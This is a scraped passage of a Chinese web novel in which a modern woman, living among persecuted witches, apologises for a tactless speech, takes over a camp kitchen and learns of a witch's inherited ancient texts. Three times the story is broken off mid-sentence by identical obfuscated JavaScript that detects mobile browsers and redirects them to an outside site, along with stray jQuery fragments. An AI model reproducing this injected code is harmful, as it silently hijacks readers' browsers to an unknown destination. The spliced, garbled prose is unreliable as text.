“其他六个国家!灰烬教廷的触角伸得到处都是!他们用恐惧和愚昧喂养那些普通人!那些农夫、那些农奴、那些工匠,市集上的小贩!他们看到我们,眼睛里没有同情,只有恐惧和憎恶!他们会毫不犹豫地举起锄头、挥舞草叉,高喊着‘烧死女巫’,像驱赶瘟疫一样把我们逼到刑场!为了几个铜板,他们就能出卖我们的藏身之处!你以为我没见过吗?你以为这里的姐妹,谁没经历过吗?” 奥罗拉的声音因为激动而微微颤抖,胸膛剧烈起伏,整个人如同濒临爆发的火山。 “我们凭什么为他们而战?!凭什么要为那些随时可能把我们烧成灰烬的人去争取什么?他们的苦难是我们造成的吗?还不是因为他们自己选择了懦弱和盲从?!活该!” 她的话语像鞭子,抽打在空气中,抽打在每一个女巫的心上,更抽在唐慈脸上。 “对!奥罗拉说得对!”菲比突然爆发出尖锐的哭喊,小脸上满是泪水和仇恨,“我亲眼看着邻居举报了我姐姐,就因为她治好了他家高烧不退的小孩!姐姐救了那么多人,却救不了她自己......”她泣不成声,再也说不下去。 一向沉默的贝克特也用力地点着头,坚毅的面容在火光下扭曲着,冒火的眼睛瞪着唐慈,之前的亲近荡然无存。 就连脾气最好、最理智的玛格丽特都抿着嘴巴沉默不语。她的沉默,比任何其他女巫的附和都更沉重的宣告了唐慈此刻的“失道寡助”。 篝火晚宴的气氛降到了冰点。 女巫们看向唐慈的眼神,充满了警惕和疏离,甚至带着一丝被背叛的愤怒——她竟然试图为她们不共戴天的仇敌说话?她到底哪边的?神谕和预言是不是出了什么问题? 唐慈的心沉到了谷底,手脚一片冰冷,感觉自己像个闯了大祸的孩子。 她意识到自己犯了一个巨大的错误——想当然。 她把自己世界经过漫长斗争形成的理念,生硬地、不加辨别地套在这个浸透了血泪和极端仇恨的现实上! 她忽略了女巫们最深沉的创伤,忽略了那建立在累累白骨和无数次背刺基础上的、极其合理的、对“广大被压迫者”根深蒂固的不信任! 难怪她的演说之前会接连遭遇漠视...... 她深吸了一口气,宣传现代思想频频碰壁带来的沮丧和自我怀疑几乎要将她淹没。但看着女巫们充满痛苦和愤怒的眼神,一种更强烈的愧疚感涌了上来。 唐慈越发清晰地意识到,这些女巫都是活生生的人,是饱受摧残、在恐惧与仇恨中挣扎求生的灵魂,对于她们,接触那些观点似乎太早了些。 现在她必须改正,必须实事求是。 “我错了。” 唐慈的声音不高,甚至带着点颤抖,却清晰地盖过了篝火的余烬噼啪声和女巫们压抑的啜泣。 她挺直了因羞愧而有些佝偻的脊背,努力坦然地迎向奥罗拉锐利的目光,眼神中没有闪躲,没有辩解,只有承认错误的赤诚和决心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973481|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “奥罗拉,你说得对。各位,你们说得对,我没有经历过你们的痛苦,也没资格替你们原谅。是我武断了,是我想当然了,这的确是我的错,我……” 她停顿了一下,似乎觉得光说不够,对着众女巫深深地、充满歉意地鞠了一躬,“我诚挚向你们道歉!” 这突如其来的、毫不拖泥带水的认错,让愤怒中的奥罗拉明显愣了一下,紧绷的下颌线似乎有了一丝微不可察的松动。 其他女巫也停止了啜泣和抱怨,有些惊愕地看着她,眼中的敌意和疏离稍稍退却,被一种复杂的审视取代。 玛格丽特低垂的眼帘抬起,湖绿色的眼睛中闪过一丝不易察觉的赞赏和期待。 唐慈直起身,感觉脸上火辣辣的,但心里反而轻松了一点。 仅仅道歉是不够的,她必须拿出点更有建设性的东西,哪怕只是现学现卖。 于是,她继续说道,整个人看起来沉稳了许多,“仔细想来,也许另一句至关重要的话,更适合我们现在的情况——‘谁是我们的朋友?谁是我们的敌人?’” “奥罗拉会长,你刚才指出了关键。”唐慈的目光转向她,“你们躲避其他六国的民众,因为他们被教廷控制,对女巫充满敌意。大家把他们视为女巫的敌人,这很合理。那么......” 她的声音放慢,带着一种引导性的探询,“铁律王朝的普通民众呢?他们有没有可能成为我们团结和依靠的‘朋友’?” 这个问题像一颗投入深潭的石子,激起的不是水花,而是一片深沉的、令人窒息的寂静。 “铁律王朝的普通民众……”奥罗拉下意识地重复着,眉头紧锁。 她组建黑荆棘互助会以来,所有的精力都放在了躲避教廷追杀、在各国搜救流亡女巫、以及维持这个小小的森林营地生存上。 她恨透了外面那个充满敌意的世界,本能地将所有“外面的人”都视为潜在威胁和告密者。 ......主动接触铁律王朝的普通人?从未想过!奥罗拉的目标一直是“躲避教廷”和“保护姐妹”,至于更宏大的“为了谁”、“依靠谁”这些战略层面的问题,在生存的重压下,被她有意无意地忽略了。 而此刻唐慈的问题,像一道猝不及防的强光,突然照亮了她思维中一个巨大的、被血泪和仇恨刻意掩盖的盲区。 奥罗拉愣住了。 其他女巫也面面相觑,她们在不同地方被奥罗拉救下,汇聚到这片相对“安全”的森林,过着近乎与世隔绝的生活。铁律王朝的普通人对她们来说只是森林边缘偶尔传来的模糊人声,或者说,是……未知。 玛格丽特敏锐地感觉到了气氛的变化,空气中那根紧绷的弦,似乎稍稍松弛了。 这是个好的、充满可能性的转折点,但也需要时间去消化,去思考,现在绝不是深入讨论的时机。 “好了。” 玛格丽特适时地站起身,声音温和却带着不容置疑的终结意味,她轻轻拍了拍奥罗拉紧绷的后背,也安抚般环视了一圈被各种激烈情绪冲击得疲惫不堪的姐妹们: “夜已经很深了,篝火也快熄了。今晚,我们听到了太多东西,来自异界的奇迹,来自过去的黑暗,还有……关于未来的可能。” 她意味深长地看了一眼唐慈,“这些都需要时间慢慢去想,去消化。都回去休息吧,让森林的夜晚安抚我们纷乱的思绪。” 女巫们如蒙大赦,纷纷沉默地回到了各自的帐篷,今天一天发生的事情、听到的观点,都太具有冲击力了,她们的精神早已透支,现在急需睡眠来平复自己翻江倒海的情绪。 唐慈也乖乖地带着疲惫和反思回到了自己的帐篷,说实话一直到现在她都有种强烈的不真实感。“说不定睡一觉我就回到现代了......”抱着不切实际的幻想,唐慈很快进入梦乡。 空地上只剩下了玛格丽特和奥罗拉,还有一直没说过什么话的知识女巫娜拉。 从唐慈解读了神谕被女巫们接纳起,娜拉手里就一直攥着一卷羊皮纸,眼神也一直热切地盯着唐慈,可惜一直没找到和她说话的机会。 如今虽然见到唐慈回去休息了,但她还是不甘心地在原地杵了一会儿,才在玛格丽特的催促下不情不愿地回去休息。 劝走了娜拉,玛格丽特扭头看看还在头脑风暴的奥罗拉,又看了看唐慈安静下来的帐篷方向,疲惫地长叹一声,跟奥罗拉道了声“晚安,别想太多”,便也回去休息了。 空地上只剩下奥罗拉一个人。 她依旧盯着那堆苟延残喘的篝火,跳动的微光在她紫色的瞳孔里明明灭灭,仿佛进行着一场无声的激烈搏斗。 唐慈最后那个问题——“铁律王朝的普通民众呢?”,就像个挥之不去的、讨厌的幽灵,在她脑海中疯狂地盘旋、冲撞。 她一直以来赖以支撑的愤怒和防御壁垒,似乎被这个问题,硬生生撬开了一道细微却无法忽视的缝隙。 缝隙之下,露出了更深、更复杂、也让她感到莫名不安的东西…… 9. 第9章 “......在知觉能够变为经验之先,还需要有一种完全不同的判断。已经提供出来的直观必须被包摄在一个概念之下,这个概念规定有关直观的一般判断的形式,把直观的经验的意识连接在一个一般意识里,从而使经验的判断得到普遍有效性.......” 大学的阶梯教室中,讲台前的教授正一脸陶醉地讲课。 坐在最后一排角落里的唐慈一边玩着手机,一边心不在焉地听着那催眠效果巨好的《未来形而上学导论》原文。 她总觉得遗忘了什么紧要事,可那念头如同滑溜的鱼,刚抓住鳞片就从指缝溜走了。 莫名地,她的手机突然花屏,教授的声音骤然扭曲,化作断续刺耳的电流杂音。 背后的温度骤然下降,唐慈皱着眉回头看向空调,目中所见令她瞳孔猛然收缩——窗帘的阴影里,一双毫无情绪的黑眼睛正凝视着她。 下一秒,一把沾血的匕首在那片蠕动的黑暗中凭空浮现,唐慈来不及躲闪,眼睁睁看着它刺进自己胸膛。 “救命啊!快打12......” 唐慈大叫着从梦魇中弹坐起来,胸腔里那颗心擂鼓般撞击着肋骨,仿佛下一秒就要破膛而出。 视野在晨曦微光中逐渐清晰。 头顶是亚麻布拼接的帐篷顶,晨曦的微光如同细碎的金粉,从布料的缝隙间筛落,在浮尘中勾勒出朦胧的光柱。 空气清冽,混合着湿润泥土、腐殖质与某种不知名草木的微苦清香,丝丝缕缕,沁入肺腑,像一剂无形的镇静药,缓慢而坚定地抚平了她狂乱的心跳。 “啧,”唐慈抬手抹去额上冰冷的汗珠,指尖还在微微颤抖,“到底还是留下心理阴影了。” 那双眼睛......那双冷漠的、毫无情绪的黑眼睛,无论是斯嘉丽濒死记忆中最后的烙印,还是自己梦境里复刻的恐怖,亦或是是现在清醒时意念的偶然触碰。 只要它在意识里闪过,便会让唐慈不由自主地战栗。 杀手是谁?为什么要杀一个教会底层的修女?现在斯嘉丽已死,而我顶替了她的躯壳在这异世复生,那杀手会知晓吗?如果知晓了此事,她会来追杀我吗? 昨日无暇细究的疑问,此刻如同幽灵一样缠绕上来。 她深吸一口气,钻出低矮的帐篷,试图用晨光驱散心中的阴霾。 帐篷外不知谁贴心地放了个水桶,唐慈掬起冰冷的水泼在脸上,刺骨的凉意让她猛地一激灵。 就在这清醒的瞬间,昨晚一段贝克特给她介绍营地里女巫们的记忆碎片,如同被水珠激起的涟漪,清晰地浮现出来—— 昨晚她换完衣服后,贝克特便带着她在营地里四处转悠,最先看到的是三个在篝火边准备烤肉的女巫。 “......切肉的是艾格尼斯,她力气很大,又能控制动物,平时负责营地外的警戒。” “......摆弄调料的是菲比,她是我们营地里年龄最小的,才十五岁,喜欢鼓捣有毒的魔药,她的东西你平时最好不要乱碰。” 介绍完这两个,贝克特指着剩下那个黑发黑瞳的女巫道: “……那个正在往木签上插肉的是海伦娜,她能在阴影中隐身穿梭,负责营地的夜间警戒……” 若在平时,仅凭“融入阴影”的能力与那双黑眼睛,就足以在唐慈心中拉响警报。 但可惜昨晚唐慈经历了太多,心神激荡无比,又要随着贝克特去认识其他女巫,便只草草记住了她的长相和名字,其他并没在意。 直到此刻,被噩梦吓到的她才后知后觉地、带着一种冰冷的警觉,翻检出这个关键信息。 融入阴影?负责警戒?还是黑色眼睛……细细想来这和那个杀手很像啊! 尽管昨日审问她时,女巫们还特意询问凶手身份,似乎她们同样不知情。但为了自己在营地里的安全考虑,唐慈觉得还是彻底排除海伦娜的嫌疑比较好。 她迅速擦干脸上的水珠,站在帐篷前,目光如炬,扫视着逐渐苏醒的营地。 昨晚关于现代理念的激烈争论似乎随着晨露一起蒸发掉了,大家都默契的没有再提起这个话题,醒来的女巫们全都像往常一样忙着练习自己的魔法,看到唐慈后,她们还热情洋溢地跟她打招呼。 唐慈一一报以微笑,眼神却锐利地在人群中逡巡——她要找到海伦娜,如果不能排除这个暗影女巫的嫌疑,唐慈只怕是没有安稳觉可睡了。 很快,她在营地边缘一棵巨树的浓密阴影下发现了目标,海伦娜也在专注地练习魔法,但是,呃…… 唐慈看着身影时隐时现,像个接触不良的灯泡一样在大树阴影下闪烁的海伦娜,紧绷的神经瞬间松弛,哭笑不得地在心里划掉了“海伦娜”这个杀手备选项。 那个杀手的魔力无比熟练而且强大,身影仿若鬼魅,而海伦娜的格调跟她比起来差太远了! 海伦娜察觉到唐慈的视线,赧然地想打招呼,结果心神一散,“噗”的一声轻响,整个人彻底从阴影中跌了出来,狼狈地站在树旁,脸蛋憋得通红,手脚都不知往哪放…… 行吧,不仅魔力水平天差地别,连性格也截然不同。虽然不知道海伦娜在夜间的警戒效果能达到几何,但是她最起码对唐慈没有恶意。 看来营地里暂时还是安全的......唐慈紧张的神经放松了许多,她朝海伦娜友善地笑笑,不再打扰。 然而,当唐慈将视线转向营地其他角落,仔细观察起其他女巫练习的场景后,一股深深的疑虑和不安全感却在她心中疯长起来—— 昨天篝火晚会大家都是坐着聊天,所以唐慈只是知道她们大概有什么魔力,并不知道她们魔力的威力如何。 可是此刻,女巫们的能力被具象化地展示出来,唐慈才惊觉:这些女巫的能力,似乎和想象中、和故事里描绘的毁天灭地、移山填海,差 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看来这是常事......她自言自语,但是菲比的惨状实在是让人不忍直视,唐慈只好去观摩其他人。 营地大门口位置有两个女巫凑在一起,她们是医疗女巫瓦伦蒂娜和御兽女巫艾格尼斯。在她俩中间,躺着一只不停挣扎的受伤梅花鹿,这可怜的生物大概是艾格尼丝在外面巡逻时救回来给瓦伦蒂娜练手的。 瓦伦蒂娜显然也很珍惜这种练习机会,她跪在鹿身旁,将双手虚悬在伤口上方,掌心处努力凝聚起一团微弱得如同风中残烛的乳白色光晕。 可那光晕极不稳定,时聚时散,每一次勉强触及翻卷的皮肉,都引得梅花鹿发出一声凄厉的痛嚎,身体猛烈抽搐。 艾格尼斯半蹲在鹿头旁,粗糙的手掌温柔而坚定地按住鹿颈,试图安抚它的恐惧,但收效甚微,梅花鹿不仅不领情还试图咬她。 忙活半天,伤口依旧狰狞,瓦伦蒂娜和艾格尼斯都急得满头大汗,一脸挫败的可怜样子再次让唐慈移开了视线…… 总之,整个营地都弥漫着一股“努力努力白努力”的悲壮的气息,唐慈只觉得眼前发黑,她不幸地领悟到女巫营地似乎也没她预想的那么安全,如果教廷真的打过来,估计三百个修士就能把女巫们团灭。 难怪这个组织名叫“互助会”,仅凭这些近乎本能的、时灵时不灵的“小把戏”,确实只能勉强做到“互助”,若是妄想反抗教廷,那跟主动送菜没有半点区别。 可是话又说回来了,这合理吗? 女巫们的力量为什么如此不稳定?是因为找错了练习方法吗?还是有什么别的原因? 思绪纷乱间,唐慈觉得自己还是先找点活干来定定神。 于是,她瞄上了唯一一个没有练习魔法、而是在灶台处忙活着做早饭的植物女巫贝拉,快步向她走去。 10. 第10章 “贝拉,早上好,需要我帮忙吗?”唐慈问道。 贝拉闻声回头,略显困倦的脸上绽放出惊喜的笑意。 “啊,唐慈!你醒了?睡得怎么样......哎,你别切那个,这刀很危险,伤了你姐妹们还不得把我撕碎了!” 看着唐慈拿起一把小刀就要切菜,贝拉赶紧把刀抢了下来,见唐慈乖乖放弃了拿刀,她才转身继续搅拌锅里那一堆冒着灰绿色泡泡的不知名菜肴。 嗅着那锅“奇怪玩意儿”散发出的气味,唐慈胃里一阵翻江倒海。 如果说她刚才过来只是想要帮忙,那现在她更想给赶紧自己弄点能下咽的东西。 要知道,上辈子的她无比挑食,就像面前这锅东西,她是一口都不会碰的。 既不想被饿死,又不想伤害贝拉大厨的自尊心,唐慈只能先站在一旁跟贝拉套套家常,试图拉近一下彼此关系。 “贝拉,营地的饭是大家轮流做吗?”这问题关乎她未来的生存质量,至关重要。 “轮流?”贝拉眨眨眼,搅拌的动作没停,“不是啊,一直都是我。”语气里甚至带着点“舍我其谁”的责任感。 听了这话,唐慈无比绝望。 女巫互助会,到底还是藏龙卧虎!这种堪比化学武器的黑暗料理,天天吃还不抗议?钢铁肠胃吗?!唐慈内心疯狂吐槽,深刻反省自己那点“小布尔乔亚”的胃实在太过娇气。 但是,反省归反省,将就是必不可能将就的。挑食是她的底线,是刻在DNA里的本能!这辈子,下辈子,下下辈子,都别指望她改!她必须想办法,把掌勺大权给骗到手! 本着套近乎的目的,唐慈又开辟了新的话题:“贝拉,昨天贝克特跟我说这个树屋是你建造的,也太厉害了!你的女巫天赋具体是什么啊?” 提到这个,贝拉的神色有些黯然,搅勺的速度也慢了下来: “唉,我没什么用,不像贝克特能变成雌鹰,载着姐妹们飞越险地;也不像艾格尼斯她们一样可以负责警戒;更不像奥罗拉会长那么强大,能放出毁灭一个村庄的火焰......我平时就种种菜、维护一下营地。” “而且,自从我催生出这片营地后,感觉周围的植物都不怎么听我命令了,”她声音越来越小,带着浓重的自我贬低,“所以,我就想着,至少……至少把做饭的活儿包了,也算为姐妹们做点事。唉……” 原来贝拉是因为觉得自己能力不足才主动做饭的。唐慈眼珠一转,计上心头,不管这计策能不能有效,起码先试试再说。 “贝拉,别这么说。你的能力是营地的根基,没有你,大家连个安全的窝都没有。而且,听我给你讲个典故,”唐慈组织着语言,尽量表现的像闲聊一样:“在我的故乡,很久很久以前,有一位非常古老的智者。他喜欢观察天地万物,思考人和自然的关系。” 她顿了顿,回忆着《庄子·齐物论》的片段,“这位智者提出过一个想法:‘天地与我并生,而万物与我为一。’……嗯,大概说的是‘天地与我共同生存,而万物与我浑然一体’。” “他还认为,最好的与万物相处的方式是‘无为’的。不是什么都不做,而是不去强行干涉、不去刻意命令,而是顺应自然本身的样子和规律。” 贝拉听得有些懵懂,但“顺应自然”这个词让她若有所思。 唐慈抬起头,目光扫过贝拉精心照料的菜田和结构完美的树屋,趁热打铁道:“就像你和这些植物。你有没有想过,也许它们不仅仅是你的工具,或者你魔力的被动接受者?它们本身也在生长,在呼吸,有它们自己的……嗯,意愿?” “可能,你并不需要总是‘命令’藤蔓去缠绕,或者‘强迫’种子发芽。如果你可以试着去‘倾听’它们,感受阳光、雨水、土壤的脉动,感受它们自身的节奏,就像朋友之间那样,平等地沟通,寻找一种共鸣。” 唐慈越想越发散,到最后半开玩笑地说:“如果真能做到这一点,说不定你就能让整片森林都成为你的眼睛和耳朵,成为营地的守卫,那可比单打独斗厉害多了!当然,我就是随便说说……” 她话音未落,贝拉整个人却像被一道闪电劈中了!她手里的木勺“哐当”一声掉进锅里,溅起几滴滚烫的绿色糊糊。 但她完全顾不上,眼睛瞪得溜圆,直勾勾地看着唐慈,呼吸都变得急促起来。 “沟通……倾听……顺应自然……眼睛和耳朵……天啊,简直太有道理了!为什么我之前从未想到过这些?为什么从没有人这样告诉过我们?” 贝拉喃喃自语,这些词句对她而言,如同从未被打开过的禁忌之门,突然向她敞开了门缝,透出不可思议的光芒。 而那个被社会强加给她的、关于力量的僵化认知体系,在这一刻受到了前所未有的冲击。 “不行,我……我得立刻试试!”贝拉猛地站起来,完全忘记了那锅还在冒着热气的奇怪食物,宛如一个发现了宝藏秘密的孩子,眼中只剩下纯粹而炽热的探索欲。 她甚至没跟唐慈再多说一句话,转身就踉踉跄跄地奔跑着冲向她侍弄的那块菜地的角落,那里有几株菲比托付给她、但她一直养不好的珍贵药草。 唐慈先是被她的反应惊了一下,但随后看到落在自己手中的灶台和食材,唐慈顿时喜笑颜开: “嚯!庄子显灵了吗,效果这么猛?我就随口那么一说,嘿嘿,感恩宇宙,感恩庄子!” 她屏住呼吸,吃力地把散发着怪味儿的大锅搬下灶台,嘟哝道:“拜拜了您内!” 接着,唐慈开始备菜,她拿了几个贝拉洗好的、看起来像土豆一样的块茎植物,放在灶台边的原木菜板上,三下五除二切出来一堆粗细均匀的“土豆条”。 旁边还有满满一大盆磨好的小麦粉,大概时贝拉准备做主食用的,唐慈也不客气地征用了,加了水开始和面团。 “搞定,美食自由就在眼前!” 和完面,唐慈开心地自言自语,她转身端起旁边一口干净的备用锅,刚要把它放上灶台。 忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973483|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,一个游魂一样的人影毫无征兆地贴了上来,吓得唐慈差点把锅砸自己脚上。 她把锅抱在胸前,猛地扭头,发现那“游魂”原来是知识女巫娜拉。 对于娜拉这张白得发青的瓜子脸,唐慈其实从昨天起就印象深刻,甚至有点发毛。 昨天她解读了神谕后,整整一个晚上,娜拉那过于炽热的目光,就像两缕丝线般一直牢牢缠在她身上。 宴会时,哪怕隔着篝火,唐慈也能感受到她那种不同于其他女巫的眼神,执拗、专注、带着一种令人不安的迷离。 娜拉明显不是对她那些慷慨激昂的演讲感兴趣,她是单纯对唐慈本人感兴趣。 而现在,这个奇怪的女巫突然来到她身边,胸膛剧烈起伏着,纤细白皙的手里紧紧攥着一卷羊皮纸......她的眼神似乎比昨天更偏执了,活像饿了三天的鬣狗发现了肉骨头。 唐慈抱着锅下意识后退半步,她真有点害怕这个女巫娜拉,不过好在娜拉没让她猜疑太久,几乎是很快表明来意: “唐慈,麻烦你快看一下这些字,和神谕上的是不是同种文字?我感觉它们简直一模一样……” 她将手中的羊皮纸展开怼到唐慈眼前,唐慈定睛一看,不禁“嘿”了一声。 还真是中文! 但这字迹......跟神谕上那种流畅精准的方块字完全不同。 眼前这些字儿,结构松散,笔画走势奇诡,横不平竖不直,倒像是某个初学中文的老外,对着字帖依葫芦画瓢,硬生生“画”出来的抽象符号,充满了笨拙又倔强的模仿痕迹,不出意外,应该是眼前这个娜拉自己写的。 唐慈皱着眉眯起眼睛,一个字一个字艰难辨认着那些走势奇怪的笔画。 “水……”她迟疑地念出第一个字。 “是……” “万……” “物……”唐慈停顿了一下,似乎在确认那团纠结的线条。 “的……” “本……”又一个停顿,但这次不是因为看不清,而是不敢置信的迟疑。 “原!” 唐慈念到“原”字,声音猛地拔高,带着一种时空错乱的惊愕。 嗯?水是万物的本原!?这……这不是西方哲学之父泰勒斯提出的观点吗? 她一把抢过羊皮纸,匆匆往下看,后面的内容果然验证了她的想法—— “……万物源于水,又复归于水。” 还真是泰勒斯的核心思想……奇怪,原本世界里两千多年前的古希腊哲人的思想结晶,为什么会被异世界一个不认识中文的女巫用中文默写出来?这个世界和她原本的世界究竟有什么联系?之前先是中文的神谕,现在又是古希腊的哲学原理,啊啊啊啊这究竟是怎么回事啊? 众多疑问像一群被惊扰的毒蜂,瞬间在唐慈脑子里炸了窝,嗡嗡作响她将目光死死锁在娜拉那张因期待而涨红的脸上,开口道: “的确是一样的字……但是娜拉,这句话是你从哪里学来的?” 11. 第11章 得到唐慈的证实后,娜拉之前一直雾蒙蒙的迷离大眼睛猛然变得精光闪烁,仿佛其中蕴藏着某种焚心蚀骨的焦渴终于藏不住了。 “不是‘学来’的,”她用力摇头,声音带着一种穿越漫长时光隧道的空洞回响,“是继承的,是自从我母亲去世那天起便刻进我脑子里的一种......‘家族遗产’。” 娜拉的眼神飘忽了一下,仿佛穿过眼前葱郁的森林营地和远处沉默的高大山脉,看到了遥远而模糊的、被厚厚的灰烬掩埋的过去。 “我的先祖厄休拉,她是大湮灭前某座伟大城邦的图书馆馆长,也是一个知识女巫……当然,”娜拉自嘲地笑笑,“和我这种塞了满脑子看不懂的古籍的废物不一样,她的智慧浩如星海,她的记忆是我们这一脉知识女巫最宝贵的精神遗产。” “如果她能活着看到自己女儿长大,一定会把这些文字的读法和意义教给她,她的女儿再教给她的女儿……这样代代相传,外婆也会教给妈妈,妈妈最终也会教给我……可惜!该死的灰烬之主!该死的灰烬教廷!该死的大湮灭!它们毁了这一切!” 娜拉的声音带着刻骨的恨意和化不开的遗憾,唐慈竖起了耳朵,娜拉这些话的信息量实在太大了,一直活在教廷高墙内的斯嘉丽的记忆中绝对没有这些被刻意抹除的血色秘辛,她可得洗耳恭听。 娜拉深吸一口气,仿佛这样才有勇气来描绘那场被灰烬教廷用谎言和岁月史书掩盖的末日浩劫: “那是一场精心策划的屠杀……一个又一个城邦被潜伏进去的灰烬教徒搅乱,然后,图书馆、学园、公共辩论场……这些凝聚了无数智者心血的殿堂全都被从天而降的苍白火球精准爆破,火焰吞噬了石墙,吞噬了各种形式记录的典籍,也吞噬了那些试图保护知识的人......厄休拉也是其中之一。” “在化作灰烬前,绝望和疯狂让厄休拉觉醒了一个全新的能力。她将自己饱含了无数典籍、无数思想、无数符号的、浩瀚如海的记忆……不顾一切地、强行塞进了襁褓中的女儿希拉那懵懂、脆弱、尚未成型的精神世界!” 天啊!一个母亲在毁灭的瞬间,想到的不是恐惧,而是将知识的火种,以如此粗暴的方式,烙印进了一个小婴儿的灵魂……唐慈想象着那个惨烈场景,不禁起了一身鸡皮疙瘩。 “城破前,邻居家的老奶奶安妮,一位善良的老妇人,她偷偷救走了希拉,并谎称她是自己小孙女,成功骗过了过来搜查的灰烬教廷走狗们。” “不久后,她们所在的城邦被一伙流民,也就是后来建立洛芙拉联合王国的几大执政官占领。他们奉灰烬教廷为国教,成了他们最忠实的帮凶,任由那些穿着灰袍的刽子手四处杀人、烧书!他们毁掉了能毁的所有知识载体......书籍,石板,莎草卷......不过短短一年,知识就出现了大断层,文明被生生腰斩了!” “希拉五岁时,安妮逝世了。离世前,她把希拉的身世告诉了她,希拉这才知道自己脑袋里那些日夜翻腾、挥之不去、如同鬼魅低语的‘东西’都是哪里来的。但是她仅仅知道这些也于事无补,古籍中的文字她都不认识啊!” “希拉背负着厄休拉的遗产,像一个守着巨大宝库却找不到钥匙的乞丐,活活饿死在知识的金山前!她去世前把这份遗产和关于厄休拉的记忆原封不动传给了她的女儿,传给了一代又一代的女巫后人……直到几年前,妈妈又都传给了我……”说到这,娜拉的眼中深不见底的疲惫和疯狂交织着,“唉,一千年来,我是三十九代人里唯一不肯放弃,一心想解读这份遗产的人。” 娜拉长叹了口气,又停顿了一会儿,才继续道:“两个月前,奥罗拉会长不知用什么方法找到了隐居的我,她问我愿不愿意加入黑荆棘女巫互助会,我一口回绝。没想到,她拿出了那张神谕,并问我认不认识上面的字!” 娜拉的呼吸再次变得急促,仿佛又回到了那个命运转折的时刻:“我只看了一眼!就一眼!我便发现那些奇怪的字迹,简直和我脑子里那些挥之不去的神秘文字一模一样!虽然我也不认识,但我立刻就改口加入了黑荆棘!因为我看到了希望!那神谕……不可能是假的,它的确只能来源于大湮灭之前!” “来到这片森林以后,我不用担惊受怕,便把全部时间精力都用来参悟那些字的意义,可惜一无所获……直到昨天,你出现了!” 娜拉猛地向前一步,猛地抓住唐慈抱着锅的手臂,那双冒火的眼睛死死盯着她,带着孤注一掷的狂喜:“你念出了神谕!那些困扰、折磨、纠缠了我三十九代人的古怪符号……终于有了声音!终于有了意义!” “我昨天就想扑过来问你的,可是你!啧,一会儿说自己不是救世主,一会儿跟贝克特她们进帐篷换衣服半天不出来,一会儿又跟奥罗拉她们争论什么‘人民’、什么‘颠覆旧世界’、什么‘朋友和敌人’的……我根本插不上话!真不知道你们为什么要说那些东西!那些能比得上解开这些文字的秘密重要吗?”娜拉的语气中满满的怨气和委屈。 “还好,今天......今天总算安静了!”她的声音带着一种病态的急迫,“没人再配合你争论那些了!醒来后我看到你在跟贝拉说话,不过她马上就离开了......我就知道,我的机会来了,必须趁着没人缠着你的时候抓住你!” 她意有所指地朝着菜圃前、正试图和蔬菜们“称兄道弟”的贝拉剜了一眼,幼稚的表现逗得唐慈差点笑出声来。 娜拉对知识的狂热,倒是像极了自己对革//命理想的执着,只不过娜拉的战场在故纸堆里,而她的战场在残酷的现实中。 窥着唐慈松动下来的神色,娜拉瞬间将语气软化成可怜巴巴的央求。 “唐慈,我知道你决定过教我们认字…但我等不了!一秒也等不了!就这两句,它们到底什么意思!你先给我好好讲讲吧,求求你啦!求求你啦!” “虽然你等不了,但是我还得说……等等,娜拉,你先等等!” 唐慈深吸一口气,努力让自己的声音听起来沉稳,同时轻轻抽出被娜拉攥得生疼的手臂,“别激动,先别急着下结论,有些东西我还需要确认一下。” 娜拉神色微微一滞,像是火堆上被洒了一小滴冷水,燃烧的势头并未减弱,只是多了一丝困惑的阴影。 “‘水是万物的本原’这个观点,”唐慈斟酌着词句,目光扫过羊皮纸上那歪歪扭扭的两行字,“在我曾经的那个世界里,是一位名叫泰勒斯的哲学家提出来的,那已经是两千多年前的事情了。如果这里记录的真是他的观点,我可以试着给你讲解一下。” “但是,这一切实在是太荒谬了!大湮灭前的一本古籍上写的是我那个世界的语言,而记录的内容偏偏又是我那个世界的哲学观点?”唐慈的指尖无意识地敲了敲灶台边缘,发出沉闷的笃笃声。 “我真觉得这概率有些太小了……噢概率这词你不可能懂,我的意思是可能性太小了。万一这句话是你们这个世界的某位先贤自己领悟出的观点,那我在不了解其脉络的情况下妄加解读,岂不是对你的求知欲的亵渎吗?” 唐慈直视着娜拉,“所以,娜拉,你脑海中,关于这句话……它出自哪一本古籍,你能接着默写出紧随其后的几句话给我看看吗?” 娜拉脸上的红潮退去了一些,显出一种失血般的苍白。 唐慈那堪称冰冷的理性追问,像一盆冷水浇在她滚烫的求知欲上,使她从那种不顾一切的燃烧状态中暂时挣脱出来,恢复了一丝知识女巫应有的的理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973484|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智。 “……好。”娜拉哑声应道,声音有些干涩。 